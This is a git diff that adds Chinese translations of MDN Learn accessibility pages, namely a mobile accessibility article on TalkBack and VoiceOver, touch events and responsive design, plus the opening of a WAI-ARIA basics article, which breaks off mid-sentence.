在这里,我们将展示如何在基本级别上使用它来提高可访问性。</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">多媒体</a></dt> + <dd>可以提高可访问性的另一类内容是多媒体 - 视频,音频和图像内容需要提供适当的文本替代方案,以便辅助技术和相应的用户能够理解。 这篇文章展示了永达。</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">移动设备可访问性</a></dt> + <dd>随着移动设备上网页访问的流行,以及主流平台(如iOS和Android)具备了完善的辅助功能工具,考虑在这些平台上Web内容的可访问性也是非常重要的。 本文讨论针对移动设备的可访问性注意事项。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">可访问性诊断</a></dt> + <dd>针对这篇模块, 对于您的理解程度, 我们提供了评估方法,我们向您展示了一个简单的网站,其中包含许多您需要诊断和修复的可访问性问题。</dd> +</dl> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today"> 现在开始构建可访问性的web应用</a> — 来自Marcy Sutton的一系列优质的视频教程.</li> + <li><a href="https://dequeuniversity.com/resources/">DequeUniversity 资源</a> — 包含代码示例,屏幕阅读参考和其他有用的资源.</li> + <li><a href="http://webaim.org/resources/">WebAIM 资源</a> — 包含向导,清单,工具和其他资源.</li> +</ul> diff --git a/files/zh-cn/learn/accessibility/mobile/index.html b/files/zh-cn/learn/accessibility/mobile/index.html new file mode 100644 index 0000000000..8eebaf2abd --- /dev/null +++ b/files/zh-cn/learn/accessibility/mobile/index.html @@ -0,0 +1,314 @@ +--- +title: 移动设备上的无障碍 +slug: learn/Accessibility/Mobile +tags: + - 初学者 + - 响应式 + - 学习 + - 屏幕阅读器 + - 文章 + - 无障碍 + - 移动端 + - 编程 + - 触摸 +translation_of: Learn/Accessibility/Mobile +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div> + +<p>随着通过手机设备访问网络越来越受欢迎,例如iOS和Android等流行的平台都拥有了完善的无障碍工具,在这些平台上考虑你网页的无障碍访问性是一件很重要事情。本文将着重介绍移动端无障碍的注意事项。</p> + +<table> + <tbody> + <tr> + <th scope="row">前置条件:</th> + <td>基本的计算机素养, 对Javascript,html,css有基本的认识, 对<a href="/en-US/docs/Learn/Accessibility">之前的课程</a>有一定的理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解移动端上无障碍的存在的问题,即如何解决他们。</td> + </tr> + </tbody> +</table> + +<h2 id="移动设备上的无障碍">移动设备上的无障碍</h2> + +<p>现代移动设备对无障碍和大多数Web标准有很好的支持。那个因为移动设备和桌面设备使用了完全不同的技术而强制要求开发者根据设备不同将用户分发到不同的域名的时代已经结束了(虽然现在还有一些公司仍然在检测用户移动设备的使用,并为他提供一个独立的手机域名)。</p> + +<p>目前,移动设备一般都可以处理“full fat”的网站了,同时,为了能够让盲人成功的使用网站,主流平台甚至还内置了阅读器。移动设备也倾向于对<a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">“</a><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">”</a>有个好的支持。</p> + +<p>你只要需要遵守好的web设计规范和最佳的无障碍实践,就可以让你的网站在手机上可用且无障碍。</p> + +<p>移动设备需要特别考虑一些例外情况; 主要的是:</p> + +<ul> + <li>控件交互 - 确保类似于按钮的UI控件可以在移动端(主要是触摸屏)和桌面端(主要是鼠标/键盘)无障碍的使用</li> + <li>用户输入 - 在移动端尽可能的减少用户输入的要求(例如在表单中,尽量少打字)。</li> + <li>响应式设计 - 确保移动端布局正常的情况下,节省需要下载的图片大小,并考虑为高分辨率的屏幕提供图片。</li> +</ul> + +<h2 id="Android和iOS上的屏幕阅读器测试总结">Android和iOS上的屏幕阅读器测试总结</h2> + +<p>最常见的移动端平台具有功能全面的屏幕阅读器。这些功能和桌面端屏幕阅读器大致相同,除了移动端屏幕阅读器大量的使用手势操作而不是按键组合操作。</p> + +<p>让我们来看看最主要的两个 - Android上的TalkBack和iOS上的VoiceOver。</p> + +<h3 id="Android_TalkBack">Android TalkBack</h3> + +<p>TalkBack是运行在Android系统上的。</p> + +<p>在菜单中选择 设置 > 无障碍 > TalkBack,打开开关即可打开TalkBack。按照屏幕提示操作即可。</p> + +<p><strong>注意</strong>: 旧版本的TalkBack的打开方式有<a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">一点不同</a>。</p> + +<p>当TalkBack打开时,你的android设备的基本操作将有一点点不同。举个例子:</p> + +<ol> + <li>点击一个应用将会选择它,同时,你的设备将会告诉你这个APP是什么。</li> + <li>如果你按在功能键上向左右滑动,将会在应用、按钮或控件之间切换。设备将会读出每一项。</li> + <li>双击任何地方将会打开某个应用或者选择某个选项。 </li> + <li>你也可以“通过触摸来探索”-将手指按在屏幕上并拖拽,然后你的设备将会读出你移动经过的不同的应用或项目。</li> +</ol> + +<p>如果你想关掉TalkBack:</p> + +<ol> + <li>通过上面的手势导航到“设置”</li> + <li>导航到 无障碍 > TalkBack</li> + <li>导航到滑动的开关,并激活它将其关闭。</li> +</ol> + +<p><strong>注意</strong>: 你可以通过向左上方滑动返回桌面,如果你有多个桌面,你可以通过两个手指在屏幕上左右滑动来切换桌面。</p> + +<p><strong>注意</strong>: 关于“TalkBack”的收拾完整列表,查看<a href="https://support.google.com/accessibility/android/answer/6151827">使用TalkBack手势</a>。</p> + +<h4 id="解锁手机">解锁手机</h4> + +<p>当TalkBack处于打开状态时,解锁手机有一点点不同。</p> + +<p>你可以通过双根手指从底部向上滑动去锁定手机。如果你设置了密码或者手势,你将会进入相关的入口页去输入密码或手势。</p> + +<p>你可以通过触摸屏幕的中下部去找到解锁按钮,然后双击它解锁手机。</p> + +<h4 id="全局菜单和本地菜单">全局菜单和本地菜单</h4> + +<p>TalkBack允许你使用全局和本地菜单,无论你已经导航到哪个位置。前者提供和设备相关的全局选项,后者提供和当前你所在的应用或屏幕相关的选项。</p> + +<p>要进入这些菜单:</p> + +<ol> + <li>快速向下然后向右滑动唤起全局菜单。</li> + <li>快速向上然后向右滑动唤起本地菜单。</li> + <li>向左右滑动可以选择不同的菜单。</li> + <li>一旦你选择了你想要的选项,双击它可以直接选择。</li> +</ol> + +<p>想要查看全局和本地上下文菜单的详细选项,请查看<a href="https://support.google.com/accessibility/android/answer/6007066">使用全局和本地上下文菜单</a></p> + +<h4 id="浏览网页">浏览网页</h4> + +<p>你可以在浏览器中使用本地上下文菜单来查看仅使用标题,或者表单控件,或者链接,或者逐行浏览的方式浏览网页。</p> + +<p>例如,当“TalkBack”处于开启状态:</p> + +<ol> + <li>打开浏览器</li> + <li>激活地址栏</li> + <li>进入一个有一堆标题的网页,就像bbc.co.uk的首页。输入网址的文字: + <ol> + <li>通过左右滑动来找到地址栏,然后双击它</li> + <li>手指按在虚拟键盘上,选择你想要的字符,松开手指输入它,重复上述操作输入完所有的字符</li> + <li>输入完之后,找到Enter键并按下</li> + </ol> + </li> + <li>向左右滑动在页面上不同的项目之间切换</li> + <li>向上然后向右滑动进入本地内容菜单</li> + <li>向右滑动直到你找到“标题和标识”选项</li> + <li>双击选择它。现在你就可以通过左右滑动在标题和ARIA标识之间切换</li> + <li>向右向上滑动之后,进去本地上下文菜单,选择“默认”,就可以返回默认模式</li> +</ol> + +<p><strong>注意</strong>: 查看<a href="https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932">TalkBack入门</a>获取更完整的文档。</p> + +<h3 id="iOS_VoiceOver">iOS VoiceOver</h3> + +<p>它是在iOS系统上的一个移动端VoiceOver。</p> + +<p>要打开它,请在设置中选择 常规 > 无障碍 > VoiceOver。按下VoiceOver的开关去启动它(你还会在页面中看到很多和VoiceOver相关的其他选项)。</p> + +<p>一旦开启VoiceOver,iOS的基本操作手势将有所不同:</p> + +<ol> + <li>单击将会导致项目被选中,你的设备将会告诉你,你点击的是什么应用。</li> + <li>你也可以通过向左右滑动屏幕来移动屏幕上的项目,或者在屏幕上滑动手指以移动项目(当你找到你想要的项目的时候,把手指离开屏幕来选中它)。</li> + <li>双击屏幕上的任意位置,可以激活选中的项目(例如,打开选中的App)。</li> + <li>通过三根手指滑动浏览页面。</li> + <li>用两个手指点击来执行上下文相关的操作,例如在相机里拍摄照片。</li> +</ol> + +<p>要再次将其关闭,你必须使用上述手势导航到 设置 > 常规 > 无障碍 > VoiceOver,然后将VoiceOver切换回关闭状态。</p> + +<h4 id="解锁手机_2">解锁手机</h4> + +<p>你需要正常的按下HOME键(或划过)就可以解锁手机了。如果你设置了密码,你可以通过滑动来选择每一个数字,然后在找到合适的数字后双击输入每一个数字。</p> + +<h4 id="使用转子">使用转子</h4> + +<p>当VoiceOver打开时,您可以使用一种名为“转子”的导航功能,该功能可让您快速从多种常用选项中进行选择。 要使用它:</p> + +<ol> + <li>像转动拨号盘一样在屏幕上扭动两根手指。 当你扭动更多的时候,每个选项都会被朗读。 你可以来回循环选项。</li> + <li>一旦你找到你想要的选项: + <ol> + <li>松开手指来选择它。</li> + <li>如果这个选项可以调整大小(例如音量或说话频率)的值,则可以通过上下滑动来控制所选项的值。</li> + </ol> + </li> +</ol> + +<p>转子上的提供的选项是上下文相关的,他们会根据你所在的APP或者试图不同而不同。(参见下面的例子)</p> + +<h4 id="浏览网页_2">浏览网页</h4> + +<p>让我们用VoiceOver浏览网页:</p> + +<ol> + <li>打开你的浏览器</li> + <li>激活地址栏</li> + <li>进入这一个有一堆标题的网站,就像bbc.co.uk的首页。输入网址: + <ol> + <li>通过向左右滑动来选择地址栏,找到之后双击它</li> + <li>对于每一个字符,手指在虚拟键盘上长按,直到找到你想要的字符,然后释放手指来选择他。双击它输入</li> + <li>完成后,找到Enter键并按下</li> + </ol> + </li> + <li>向左右滑动来在页面上切换不同的项目。你可以通过双击来选择他(例如,按住链接)。</li> + <li>默认情况下,被选中的转子选项应该是说话频率,你可以通过上下滑动来增加或减少讲话速率。</li> + <li>现在像拨号盘一样围绕屏幕转动两根手指,以显示转子并在其选项之间移动。以下是可用选项的一些示例: + <ol> + <li><em>说话速率:改变说话速率</em></li> + <li><em>容器:在页面不同予以的容器间切换</em></li> + <li><em>标题:在页面上的标题之间切换</em></li> + <li><em>链接:在页面上的链接之间切换</em></li> + <li><em>表单控件:在页面上的表单控件之间切换</em></li> + <li>语言:在不同的翻译之间切换,如果可用的话</li> + </ol> + </li> + <li>选择标题,现在你可以通过上下滑动在页面的不同标题中切换</li> +</ol> + +<p><strong>注意</strong>: 有关iOS上可用的VoiceOver手势以及有关辅助功能的其他提示的更完整资料可以查看<a href="https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3">在你的设备上用VoiceOver测试辅助功能</a></p> + +<h2 id="控制机制">控制机制</h2> + +<p>在我们的CSS和JavaScript可访问性文章中,我们研究了特定于某种控制机制的事件的概念(请参阅<a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">鼠标特定的事件</a>)。 回顾一下,因为其他控制机制不能激活相关的功能,将会导致辅助功能的问题。</p> + +<p>举例来说,<a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick">点击事件</a>在可访问性方面是好的 - 通过点击处理器设置的元素,选中它并按下回车或返回,或者在触摸屏设备上点击它,可以调用关联的事件处理程序。试试我们的例子<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">simple-button-example.html</a>(<a href="https://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">查看在线例子</a>)来看看我们是什么意思。</p> + +<p>另一方面,像<a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a>和<a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a>这些特定的鼠标事件会产生一些问题 - 他们的事件处理程序不能使用除了鼠标意外的设备操作。</p> + +<p>如果你尝试通过键盘或触摸来试试我们的<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a>(<a href="https://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">查看在线例子</a>),你将发现问题。它发生的原因是我们用了下面的代码:</p> + +<pre>div.onmousedown = function() { + initialBoxX = div.offsetLeft; + initialBoxY = div.offsetTop; + movePanel(); +} + +document.onmouseup = stopMove;</pre> + +<p>为了能其他表单空间起作用,你需要使用其他同等的事件代替,比如在触屏设备上用touch事件:</p> + +<pre>div.ontouchstart = function(e) { + initialBoxX = div.offsetLeft; + initialBoxY = div.offsetTop; + positionHandler(e); + movePanel(); +} + +panel.ontouchend = stopMove;</pre> + +<p>我们提供了一个简单的例子来展示如何使用鼠标和触摸事件 - <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html </a>(<a href="https://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">查看在线例子</a>)</p> + +<p><strong>注意</strong>: 你可以看到一个功能完善的例子,展示如何在实现<a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Control_mechanisms">游戏控制机制</a>中实现不同的控制机制。</p> + +<h2 id="响应式设计">响应式设计</h2> + +<p><a href="/en-US/Apps/Progressive/Responsive">响应式设计</a>是根据屏幕大小和分辨率等因素动态更改您的应用程序的布局和其他功能的做法,因此对于不同设备类型的用户来说,它们是可用和可访问的。</p> + +<p>特别是,移动端设备需要解决的最常见的问题是:</p> + +<ul> + <li>移动端设备布局的适用性。例如,在窄屏上多列布局不能很好的工作,需要提高文字大小以便变成可读。这些问题可以通过<a href="/en-US/docs/Web/CSS/Media_Queries">媒体查询</a>、<a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>、<a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性布局</a>来解决上面的问题。</li> + <li>节省下载的图片大小。一般来说,小屏幕设备不需要与桌面设备一样大的图像,而且它们将更可能在慢速网络连接上。因此,适当地缩小屏幕设备以缩小图像是明智的。您可以使用<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图像技术</a>处理此问题。</li> + <li>考虑高分辨率。许多移动设备具有高分辨率屏幕,因此需要更高分辨率的图像,使得显示器可以继续看起来清晰和锐利。再次,您可以使用响应式图像技术来适当地提供图像。此外,使用SVG矢量图像格式可以满足许多图像要求,这些格式在目前的浏览器中得到了很好的支持。 SVG有一个小文件大小,并将保持清晰的大小显示在(请参阅<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">向网络添加矢量图形</a>一些更多的细节)。</li> +</ul> + +<p><strong>注意</strong>: 我们不会在这里对响应式设计进行完整的讨论,因为他们在MDN其他地方都有涉及(参考上面的链接)。</p> + +<h3 id="具体的需要注意的点">具体的需要注意的点</h3> + +<p>这里有很多其他重要的需要考虑的点,他们可以让我们通过移动设备访问网站时更无障碍。</p> + +<h4 id="不能缩放">不能缩放</h4> + +<p>我们可以利用<a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>来禁止用户缩放,在你的<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head"><head></a>中加入下列代码即可:</p> + +<pre><meta name="viewport" content="user-scalable=no"></pre> + +<p>如果可能的话,你绝对不应该这么做 - 很多人都会依靠缩放来看你网站的内容,所以不使用缩放这个功能是一个很糟糕的主意。在某些情况下缩放会破坏UI;这种情况下,你觉得你绝对需要缩放,你可以提供一些别的近似的方法。例如增加一个控制文字大小的控件,通过这种方式就不会破坏UI了。</p> + +<h4 id="保持菜单可用">保持菜单可用</h4> + +<p>因为移动设备上的屏幕非常窄,所以使用媒体查询和其他技术使得导航菜单缩小到显示屏顶部的一个小图标,只有在需要的时候才展示菜单,这种方式在移动设备上很常见的。 这通常由“三横线”图标表示,并且设计模式因此被称为“汉堡菜单”。</p> + +<p>在实现这样的菜单时,需要确保显示控件的控件可以通过适当的控制机制(通常为移动触摸)进行访问,如上面的控制机制中所讨论的,并且页面的其余部分被移开 或在菜单被访问时以某种方式隐藏,以避免与导航混淆。</p> + +<p>让我们来看一个很好的“<a href="http://fritz-weisshart.de/meg_men/">汉堡包菜单”的例子</a></p> + +<h2 id="用户输入">用户输入</h2> + +<p>在移动设备上,输入数据往往比在台式计算机上的同等体验更令用户恼火。使用桌面或笔记本电脑键盘输入文本到表单输入比触摸屏虚拟键盘或微小的移动物理键盘更方便。</p> + +<p>出于这个原因,值得尽量减少所需的输入量。作为一个例子,与其让用户每次使用常规文本输入来填写他们的工作标题,而是可以提供一个<select>菜单,其中包含最常见的选项(这也有助于数据输入的一致性),并提供一个“其他”选项,显示一个文本字段来输入任何异常值。你可以在<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">common-job-types.html</a>中看到这个想法的一个简单的例子(查看<a href="https://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">在线例子</a>)。</p> + +<p>也值得考虑在移动平台上使用HTML5格式输入类型(如日期),因为它们可以很好地处理它们 - 例如,Android和iOS都会显示可用于设备体验的可用小部件。有关示例,请参阅<a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">html5-form-examples.html</a>(请查看<a href="https://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">HTML5表单示例</a>) - 尝试加载这些内容并在移动设备上对其进行操作。例如:</p> + +<ul> + <li>在输入数字、电话和邮件时,展示合适的虚拟键盘来输入数字。</li> + <li>在输入时间和日期时展示合适的选择器来选择时间和日期。</li> +</ul> + +<p>如果你想为桌面端提供不同的解决方案,则可以使用功能检测为您的移动设备始终提供不同的标记。有关检测不同输入类型的原始信息,请参阅<a href="http://diveinto.html5doctor.com/detect.html#input-types">输入类型</a>,还可以查看我们的<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">功能检测文章</a>获取更多信息。</p> + +<h2 id="总结">总结</h2> + +<p>在本文中,我们向您提供了有关常见移动设备可访问性问题的一些细节以及如何克服这些问题。我们还通过使用最常用的屏幕阅读器来帮助您进行无障碍测试。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">移动Web开发指南</a> — “Smashing”杂志的文章列表,涵盖移动网页设计的不同技术。</li> + <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">使您的网站在触摸设备上工作</a> — 有关使用触摸事件来获得在移动设备上进行交互的有用文章。</li> +</ul> + +<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div> + +<div> </div> + +<div> +<div> +<h2 id="在这个模块中">在这个模块中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">什么是可访问性?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> +</ul> +</div> +</div> diff --git a/files/zh-cn/learn/accessibility/wai-aria_basics/index.html b/files/zh-cn/learn/accessibility/wai-aria_basics/index.html new file mode 100644 index 0000000000..c50974a562 --- /dev/null +++ b/files/zh-cn/learn/accessibility/wai-aria_basics/index.html @@ -0,0 +1,433 @@ +--- +title: WAI-ARIA basics +slug: learn/Accessibility/WAI-ARIA_basics +tags: + - WAI-ARIA + - Web无障碍 + - 无障碍 +translation_of: Learn/Accessibility/WAI-ARIA_basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</div> + +<p class="summary">紧接上文继续,有时候,我们制作涉及非语义HTML 和动态的JavaScript 内容更新的复杂UI控件可能很困难。<strong>WAI-ARIA </strong>是一项技术,它可以通过浏览器和一些辅助技术来帮助我们进一步地识别以及实现语义化,这样一来能帮助我们解决问题,也让用户可以了解发生了什么。接下来我们将展示如何运用它来优化无障碍体验:</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提要求:</th> + <td>基础的电脑知识,对于HTML,CSS,JavaScript 的了解,<a href="/zh-CN/docs/Learn/Accessibility/">还有对于前文课程的了解</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>进一步了解WAI-ARIA,明白他如何提供有效的语义,以便接下来在有需要的时候提供无障碍优化。</td> + </tr> + </tbody> +</table> + +<h2 id="何为_WAI-ARIA">何为 WAI-ARIA?</h2> + +<p>让我们开始看看何为 WAI-ARIA,以及它能给我们什么用。</p> + +<h3 id="一堆新的问题">一堆新的问题</h3> + +<p>当Web 应用开始变得越来越复杂和动态化,一堆全新的无障碍访问问题和特性接踵而至。</p> + +<p>例如,HTML5 提出了几种语义化标签用于定义常规页面的特性(例如 nav, footer 等等) 。在这些标签可用之前,我们一般简单地用div 带上ID 抑或是class 来解决问题,例如:<code><div class="nav"></code>。但是这种实践是问题丛生的,因为没有简单的方法可以轻松地用可编程的方法找到特定页面功能,例如主导航。</p> + +<p>最早的解决方案是加一个或者多个隐藏的链接来跳转到我们想要的位置,例如(这里用导航举例):</p> + +<pre class="brush: html"><a href="#hidden" class="hidden">Skip to navigation</a></pre> + +<p>但这仍然是不准确的,而且只能在屏幕阅读器开启页面顶部读取时使用。</p> + +<p>另一个例子:应用开始支持一些复杂的类型输入,像是日期选择器可选择日期,抑或是范围选择器可以用滑块选择值,HTML5 提供了以下的类型:</p> + +<pre class="brush: html"><input type="date"> +<input type="range"></pre> + +<p>他对于跨浏览器的支持并不好,而且他的样式修改也很麻烦,这使得他在网页的集成设计上难以有所用途。所以我们常常会用JavaScript 库来做这事,所以会用一系列嵌套的div 或者带有class 的table 元素,然后用CSS 来制定样式,JavaScript 来控制行为。</p> + +<p>这样的问题是视觉上这样做事可行的,但屏幕阅读器对此会感到一无所知,他只能告诉用户她看到一堆复杂结构的元素,且毫无语义可言。</p> + +<h3 id="进入_WAI-ARIA">进入 WAI-ARIA</h3> + +<p><a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> 是W3C编写的规范,定义了一组可用于其他元素的HTML 特性,用于提供额外的语义化以及改善缺乏的可访问性。以下是规范中三个主要的特性:</p> + +<ul> + <li><strong>角色</strong> — 这定义了元素是干什么的。许多「标志性的角色」,其实重复了HTML5 的结构元素的语义价值。例如 <code>role="navigation"</code> ({{htmlelement("nav")}}) 或者 <code>role="complementary"</code> ({{htmlelement("aside")}}),这也有一些描述其他页面结构的(角色), 例如 <code>role="banner"</code>, <code>role="search"</code>, <code>role="tabgroup"</code>, <code>role="tab"</code> 等等。我们通常能从UI 层面找到它们。</li> + <li><strong>属性</strong> — 我们能通过定义一些属性给元素,让他们具备更多的语义。例如: <code>aria-required="true"</code> 意味着元素在表单上是必填的。 然而 <code><a href="/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a>="label"</code> 允许你在元素上设置一个ID,用于<code><a href="/zh-CN/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">labelledby</a></code>引用作为屏幕阅读器指定的label 内容 ,多个也可以。当然,下面这个代码是不行的: <code><label for="input"></code> 。举个例子:你可以用 <code>aria-labelledby</code> 指定包含在a 标签中的key 描述{{htmlelement("div")}} 是多个 table 表格的label ,或者将它指定为 img 标签的alt 内容 — 而无需重复在每一个img 里头定义。如果迷糊了,你可以在这里看到例子: <a href="/en-US/docs/Learn/Accessibility/HTML?document_saved=true#Text_alternatives">Text alternatives</a>.</li> + <li><strong>状态</strong> —用于表达元素当前的条件的特殊属性,例如 <code>aria-disabled="true"</code>,屏幕阅读器就会这个表单禁止输入。状态和属性的差异之处就是:属性在应用的生命周期中不会改变,而状态可以,通常我们用编程的方法改变它,例如Javascript。</li> +</ul> + +<p>关于 WAI-ARIA 属性重要的一点是它不会对web 页面有任何影响,除了让更多的信息从浏览器暴露给 accessibility APIs (无障碍API),这也是屏幕阅读器这一类软件的信息源。WAI-ARIA 不会影响网页的结构,以及DOM 等等,尽管这些属性可用于作为css 选择器。</p> + +<div class="note"> +<p><strong>Note</strong>: 关于ARIA 的角色和他的用法,如需了解更多信息,尽在WAI-ARIA 规范,查看 <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">角色定义</a></p> + +<p>规范同时也包含了属性和状态的一个列表,链接有更多详尽信息:<a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">查看 属性和状态的定义(所有的aria-* 属性)</a></p> +</div> + +<h3 id="在哪里支持WAI-ARIA?">在哪里支持WAI-ARIA?</h3> + +<p>这不是一个容易回答的问题。很难找到一个确定的资源,说明支持WAI-ARIA 的哪些功能,以及在哪里,因为</p> + +<ol> + <li>WAI-ARIA 规范的特性太多了。</li> + <li>操作系统、浏览器、屏幕阅读器三者相加的组合太多了,这些都需要考虑。</li> +</ol> + +<p>最后一个关键点——首先使用屏幕阅读器,你的操作系统需要运行具有必要的辅助功能API的浏览器,以便公开屏幕阅读器完成工作所需的信息。大部分流行的操作系统都有一到两个支持屏幕阅读器的浏览器。Paciello组织有一个新的帖子,以供参考: <a href="https://www.paciellogroup.com/blog/2014/10/rough-guide-browsers-operating-systems-and-screen-reader-support-updated/">Rough Guide: browsers, operating systems and screen reader support updated</a>.</p> + +<p>接下来,你需要考虑下有问题的浏览器是否支持无障碍特性以及提供他们API 格式的信息暴露,并且屏幕阅读器是否识别信息并且正确地传达给用户。</p> + +<ol> + <li>文章到现在,可以看得出浏览器端对于无障碍的支持做的很好。 <a href="http://caniuse.com/#feat=wai-aria">caniuse.com</a> 这一网站显示全球浏览器支持 WAI-ARIA 的比率达到了88%。</li> + <li>屏幕阅读器支持无障碍特性反而没达到这个水平,但是主流的屏幕阅读器做到了。 你可以通过查看Powermapper来了解支持级别 <a href="http://www.powermapper.com/tests/screen-readers/aria/">WAI-ARIA Screen reader compatibility</a><span> 。</span></li> +</ol> + +<p>我们目的不是详细介绍所有的 WAI-ARIA 特性,以及它大部分支持的细节。相反,介绍最主要的 WAI-ARIA功能。我们没有提到的任何支持细节,您可以假定该特性得到了良好的支持。我们将清楚地介绍例外情况。</p> + +<div class="note"> +<p><strong>笔记</strong>:一些JavaScript 库支持 WAI-ARIA,意味着生成UI 界面时,例如复杂的表单控件,他们会添加 ARIA 属性来优化它的无障碍特性。如果你再找一些第三方JavaScript 解决方案来进行快速的UI 开发,当你做选择的时候,必须重视 UI小部件的可访问性。一个良好的例子就是 jQuery UI (请看 <a href="https://jqueryui.com/about/#deep-accessibility-support">About jQuery UI: Deep accessibility support</a>), <a href="https://www.sencha.com/products/extjs/">ExtJS</a> 还有 <a href="https://dojotoolkit.org/reference-guide/1.10/dijit/a11y/statement.html">Dojo/Dijit</a>。</p> +</div> + +<h3 id="何时你应使用_WAI-ARIA">何时你应使用 WAI-ARIA?</h3> + +<p>我们过去讨论了一些促使WAI-ARIA 诞生的问题。但基本上是以下四个主要领域:</p> + +<ol> + <li><strong>路标/地标</strong>(<strong>Signposts/Landmarks</strong>)<strong>:</strong> ARIA 的 <code>角色</code> 属性值可以作为地标来复制HTML5 元素的语义化(例如 nav tag)。或者超越HTML5 的语义,给不同的功能块提供「路标」,例如 <code>search</code>, <code>tabgroup</code>, <code>tab</code>, <code>listbox</code> 等等 。</li> + <li><strong>动态的内容更新:</strong> 屏幕阅读器往往难以报告一直变化的内容,用无障碍特性我们能使用 <code>aria-live</code> 来通知屏幕阅读器某一部分的内容更新了。例如<a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> 或者 <a href="/en-US/docs/Web/API/Document_Object_Model">DOM APIs</a>。</li> + <li><strong>优化键盘的无障碍操作</strong>: 默认的HTML 元素是具有自带的键盘辅助功能的。当其他元素与JavaScript一起进行交互时,键盘的辅助功能和屏幕阅读器的报告会因此收到影响(例如你将会难以用tab 到达理想的位置)。这是无法避免的,WAI-ARIA 提供了提供了一种允许其他元素获得焦点的方法 (使用 <code>tabindex</code>)。</li> + <li><strong>非语义控件的可访问性</strong>: 当一系列嵌套的 <code><div></code> 与CSS / JavaScript一起用于创建复杂的UI功能,或者通过JavaScript大大地增强或者更改原生的控件,可访问性将会变得极其困难——屏幕阅读器将会难以找到语义内容线索。在这种情况下,AIRA 可以帮助提供缺少了的功能,例如 <code>button</code>, <code>listbox</code>,或者 <code>tabgroup</code>,另外和aria-required 或aria-posinset 这样的属性可以提供有关功能的更多线索。</li> +</ol> + +<p>注意:<strong>你只在需要的情况下使用无障碍特性!</strong>理想的情况下,你只要用原生的HTML 